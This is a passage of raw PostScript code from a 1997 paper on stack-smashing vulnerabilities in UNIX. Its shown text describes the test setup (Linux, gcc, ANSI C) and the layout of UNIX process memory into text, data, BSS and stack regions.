(o)S 4.300 0 32 -0.300 0 (r )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A 4.000 0 32 (nd )W -0.400 0 (a)A (pp)S 0.200 0 (li)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 11.200 0 32 -0.200 0 (X )D -0.400 0 (e)A (nv)S 0.200 0 (i)A -0.300 0 (r)A (on)S 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 11.000 0 32 (. )W -0.100 0 (T)A (hu)S 0.100 0 (s)A 11.000 0 32 (, )W 0.400 0 (S)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 12.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 12.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 12.000 0 32 (k o)W 12.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 12.000 0 32 (k ov)W -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 12.200 0 32 -0.200 0 (w )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 11.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 12.400 0 32 -0.400 0 (e c)D (on)S -0.400 0 (ce)A -0.300 0 (r)A (n)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2628 M -0.176 0 (only with programs that do dynamic allocation.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 2954 M 0.133 0 (6. Tools used for testing)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3188 M -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A 17.000 0 32 (, )W 17.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A -0.400 0 (ee)A 0.200 0 (l)A 20.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 17.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 18.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 16.800 0 32 0.200 0 (m )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 18.000 0 32 -1.000 0 (g )D 17.000 0 32 (on )W -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 17.800 0 32 0.200 0 (l )D 1.000 0 (x)A 18.000 0 32 (86 h)W -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 18.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3365 M -0.400 0 (a)A 0.100 0 (ss)A (u)S 0.200 0 (m)A -0.400 0 (e)A 3.000 0 32 (d )W -0.300 0 (f)A (o)S 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S -3.000 0 (y)A 4.000 0 32 (. )W 0.600 0 (W)A (h)S 0.200 0 (il)A 4.400 0 32 -0.400 0 (e e)D -0.300 0 (ff)A (o)S -0.300 0 (r)A 0.200 0 (t)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A (d)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (e)A 0.100 0 (s)A 4.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3542 M -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (c)A 1.000 0 32 (, )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on d)W -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 0.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x )A 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (c )D 0.200 0 (i)A 2.000 0 32 (n )W 0.100 0 (s)A (o)S 0.200 0 (m)A 2.400 0 32 -0.400 0 (e )D (p)S 0.200 0 (l)A -0.400 0 (ace)A 0.100 0 (s)A 2.000 0 32 (. )W -0.100 0 (T)A (h)S 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A (hod)S 1.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3719 M 0.200 0 (i)A 30.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 29.900 0 32 0.100 0 (s )D (do)S -0.400 0 (c)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 29.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (r)A 30.400 0 32 -0.400 0 (e )D (no)S 29.800 0 32 0.200 0 (t limit)D -0.400 0 (e)A 30.000 0 32 (d )W 0.200 0 (t)A 30.000 0 32 (o )W 0.200 0 (t)A (h)S 30.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 29.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 31.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 29.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 29.800 0 32 0.200 0 (l )D -0.400 0 (a)A 31.000 0 32 (nd h)W -0.400 0 (a)A (v)S 31.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (ee)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3896 M -0.182 0 (reproduced under other UNIX operating systems using near-identical means.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4073 M -0.100 0 (T)A (h)S 27.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 27.200 0 32 -0.200 0 (X )D 26.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 27.300 0 32 -0.300 0 (r )D (u)S 0.100 0 (s)A -0.400 0 (e)A 27.000 0 32 (d )W 0.200 0 (i)A 27.000 0 32 (n )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 26.900 0 32 0.100 0 (s )D 0.200 0 (i)A 27.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 27.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S 31.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 28.400 0 32 -0.400 0 (e )D -0.600 0 (F)A -0.300 0 (r)A 28.400 0 32 -0.400 0 (ee )D 0.400 0 (S)A (o)S -0.300 0 (f)A 0.200 0 (t)A -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4250 M -0.600 0 (F)A (ound)S -0.400 0 (a)A 0.200 0 (ti)A (on)S -1.000 0 (')A 0.900 0 32 0.100 0 (s )D 1.200 0 32 -0.200 0 (GNU )D 0.700 0 32 0.300 0 (CC )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 1.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 1957 4250 M (g)S -0.400 0 (cc)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2095 4250 M 1.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 2172 4250 M (g)S -0.400 0 (cc)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2310 4250 M 1.000 0 32 ( )W 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (a)A (u)S 0.800 0 32 0.200 0 (lt )D 0.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 2.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e a)D 1.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4427 M (o)S 2.300 0 32 -0.300 0 (f )D -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 5.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.400 0 (e)A 1.800 0 32 0.200 0 (ll )D (kno)S -0.200 0 (w)A 2.000 0 32 (n )W -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 32 1.000 0 (x )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 2.000 0 32 (on. )W 0.100 0 (M)A -0.400 0 (a)A 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A (n)S -0.400 0 (e)A 2.000 0 32 (d )W -0.400 0 (a)A 2.000 0 32 (nd )W -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 2.000 0 32 (n b)W 6.000 0 32 -3.000 0 (y )D 0.300 0 (R)A 0.200 0 (i)A -0.400 0 (c)A (h)S -0.400 0 (a)A -0.300 0 (r)A 3.000 0 32 (d )W 0.100 0 (M)A 3.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (llm)A -0.400 0 (a)A 3.000 0 32 (n, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4254 4427 M (g)S -0.400 0 (cc)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4604 M 0.200 0 (i)A 36.900 0 32 0.100 0 (s )D 37.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A 37.400 0 32 -0.400 0 (ee c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 37.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 37.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 37.300 0 32 -0.300 0 (r )D 38.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 38.300 0 32 -0.300 0 (r )D (o)S 38.300 0 32 -0.300 0 (f )D (d)S 0.200 0 (i)A -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S 37.800 0 32 0.200 0 (t )D -0.200 0 (UN)A -2.300 0 (I)A 38.200 0 32 -0.200 0 (X )D -0.400 0 (a)A 38.000 0 32 (nd non)W -0.300 0 (-)A -0.200 0 (UN)A -2.300 0 (I)A 38.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4781 M -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (it)A -0.400 0 (ec)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 14.000 0 32 (. )W -0.100 0 (E)A -0.300 0 (ff)A (o)S -0.300 0 (r)A 0.200 0 (t)A 13.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 14.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (ee)A 14.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (a)A (d)S 14.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 14.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 13.800 0 32 0.200 0 (t )D -0.400 0 (a)A 13.800 0 32 0.200 0 (ll )D 14.200 0 32 -0.200 0 (GNU )D 13.700 0 32 0.300 0 (CC )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A 15.400 0 32 -0.400 0 (c )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4958 M (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A 1.400 0 32 -0.400 0 (e a)D 2.000 0 32 (nd do no)W 1.800 0 32 0.200 0 (t i)D (n)S -0.400 0 (c)A (o)S -0.300 0 (r)A (po)S -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 2.400 0 32 -0.400 0 (e a)D (n)S 5.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (op)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A 5.000 0 32 -3.000 0 (y )D -1.000 0 (g)A -0.400 0 (cc)A -0.300 0 (-)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (c e)D 1.000 0 (x)A 0.200 0 (t)A -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (on)S 0.100 0 (s)A 2.000 0 32 (. )W 1.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 2.400 0 32 -0.400 0 (ce c)D (od)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5135 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 20.900 0 32 0.100 0 (s )D 0.200 0 (i)A 21.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 20.900 0 32 0.100 0 (s )D (do)S -0.400 0 (c)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 20.800 0 32 0.200 0 (t )D -0.400 0 (c)A (on)S -0.300 0 (f)A (o)S -0.300 0 (r)A 20.800 0 32 0.200 0 (m t)D 21.000 0 32 (o )W -0.200 0 (AN)A 0.400 0 (S)A 23.300 0 32 -2.300 0 (I )D 20.700 0 32 0.300 0 (C )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A (d)S 20.900 0 32 0.100 0 (s )D -0.400 0 (a)A 21.000 0 32 (nd )W -0.400 0 (ca)A 22.000 0 32 (n b)W 22.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S -0.300 0 (r)A (odu)S -0.400 0 (ce)A 22.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 22.000 0 32 (h )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5312 M -0.100 0 (comparable compiler.)A ; LH savelevel1 restore pagesave restore (%%[ Page: 10 ]%%) = %%PageTrailer %%Page: 11 11 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (11)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 506 M 0.037 0 (7. UNIX Processes and the Stack)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 740 M -0.200 0 (UN)A -2.300 0 (I)A 9.200 0 32 -0.200 0 (X )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A -0.400 0 (e)A 8.900 0 32 0.100 0 (s )D 0.200 0 (i)A 9.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 12.000 0 32 -3.000 0 (y )D -0.400 0 (a)A -0.300 0 (r)A 9.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (a)A (n)S 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (e)A 9.000 0 32 (d )W 0.200 0 (i)A 9.000 0 32 (n )W 0.200 0 (t)A (h)S -0.300 0 (r)A 9.400 0 32 -0.400 0 (ee )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A (on)S 0.100 0 (s)A 8.800 0 32 0.200 0 (: t)D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (t)A 10.000 0 32 (, d)W -0.400 0 (a)A 0.200 0 (t)A 10.400 0 32 -0.400 0 (a a)D 10.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 10.000 0 32 (k )W -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 4265 740 M 0.100 0 (s)A -0.400 0 (ee)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 612 917 M 0.200 0 (fi)A (gu)S 0.100 0 (r)A 5.400 0 32 -0.400 0 (e )D (7.a)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1006 917 M -0.300 0 (\))A 0.700 0 ([)A (1,7,9)S 0.700 0 (])A 5.000 0 32 (. )W -0.200 0 (A)A 5.800 0 32 0.200 0 (t t)D (h)S 6.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A (nn)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D (o)S 6.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 5.800 0 32 0.200 0 (m )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 6.000 0 32 (on, )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (a)A 0.200 0 (t)A 6.400 0 32 -0.400 0 (a a)D 6.000 0 32 (nd )W 0.200 0 (t)A -0.400 0 (e)A 1.000 0 (x)A 5.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (ea)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D 0.200 0 (l)A (o)S -0.400 0 (a)A (d)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1094 M (d)S 0.200 0 (i)A -0.300 0 (r)A -0.400 0 (ec)A 0.200 0 (tl)A 13.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S 0.200 0 (t)A 10.000 0 32 (o )W -0.400 0 (ac)A 0.200 0 (ti)A (v)S 10.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 10.000 0 32 (. )W -0.200 0 (D)A -0.400 0 (a)A 0.200 0 (t)A 10.400 0 32 -0.400 0 (a )D 0.200 0 (i)A 10.900 0 32 0.100 0 (s s)D (p)S 10.800 0 32 0.200 0 (lit i)D (n)S 0.200 0 (t)A 11.000 0 32 (o )W 0.200 0 (i)A (n)S 0.200 0 (iti)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 11.000 0 32 (d d)W -0.400 0 (a)A 0.200 0 (t)A 11.400 0 32 -0.400 0 (a a)D 11.000 0 32 (nd un)W 0.200 0 (i)A (n)S 0.200 0 (iti)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 11.000 0 32 (d )W -0.300 0 (\()A -0.700 0 (B)A 0.400 0 (SS)A 11.300 0 32 -0.300 0 (\) )D (d)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (a)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1271 M -0.700 0 (B)A 6.600 0 32 0.400 0 (SS )D (d)S -0.400 0 (a)A 0.200 0 (t)A 7.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (a)A (k)S -0.400 0 (e)A 6.900 0 32 0.100 0 (s )D 7.400 0 32 -0.400 0 (a )D (h)S 0.200 0 (i)A -1.000 0 (g)A (h)S -0.400 0 (e)A 7.300 0 32 -0.300 0 (r )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 10.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 7.900 0 32 0.100 0 (ss )D 0.200 0 (t)A (h)S -0.400 0 (a)A 8.000 0 32 (n )W 0.200 0 (i)A (n)S 0.200 0 (iti)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 8.000 0 32 (d d)W -0.400 0 (a)A 0.200 0 (t)A 8.400 0 32 -0.400 0 (a )D -0.200 0 (w)A (h)S 0.200 0 (il)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A 1.000 0 (x)A 7.800 0 32 0.200 0 (t )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 8.000 0 32 (on )W 0.200 0 (t)A -0.400 0 (a)A (k)S -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1448 M 0.200 0 (l)A (o)S -0.200 0 (w)A -0.400 0 (e)A 0.100 0 (s)A 12.800 0 32 0.200 0 (t m)D -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 12.900 0 32 0.100 0 (ss )D -0.300 0 (\()A -0.400 0 (c)A 0.200 0 (l)A (o)S 0.100 0 (s)A -0.400 0 (e)A 0.100 0 (s)A 12.800 0 32 0.200 0 (t t)D 13.000 0 32 (o )W ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F8) cvn 0.800 (Courier) cvn /Type1 T (Courier) cvn mF (F8_100) cvn F8 100 xF F8_100 Ji 2075 1458 M (0x00000000)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2675 1448 M -0.300 0 (\))A 13.000 0 32 (. )W -0.700 0 (B)A 12.600 0 32 0.400 0 (SS )D (d)S -0.400 0 (a)A 0.200 0 (t)A 13.400 0 32 -0.400 0 (a )D 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D (no)S 13.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (e)A 14.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A -0.400 0 (ca)A 0.200 0 (ll)A 17.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 14.000 0 32 (n )W -0.400 0 (a)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1628 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 32.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 32.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 35.000 0 32 -3.000 0 (y )D (b)S -0.400 0 (eca)A (u)S 0.100 0 (s)A 32.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A 31.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 32.000 0 32 (on )W -0.400 0 (ca)A 33.000 0 32 (n b)W 33.400 0 32 -0.400 0 (e a)D 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 33.000 0 32 (d u)W 0.100 0 (s)A 0.200 0 (i)A (n)S 34.000 0 32 -1.000 0 (g )D 0.600 0 (z)A -0.400 0 (e)A -0.300 0 (r)A (o)S -0.300 0 (-f)A 0.200 0 (ill)A -0.400 0 (e)A 33.000 0 32 (d )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1805 M -2.300 0 (I)A (n)S -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (ti)A 5.000 0 32 (on )W 0.100 0 (s)A (u)S -0.400 0 (c)A 5.000 0 32 (h )W -0.400 0 (a)A 4.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 6.400 0 32 -0.400 0 (c )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A 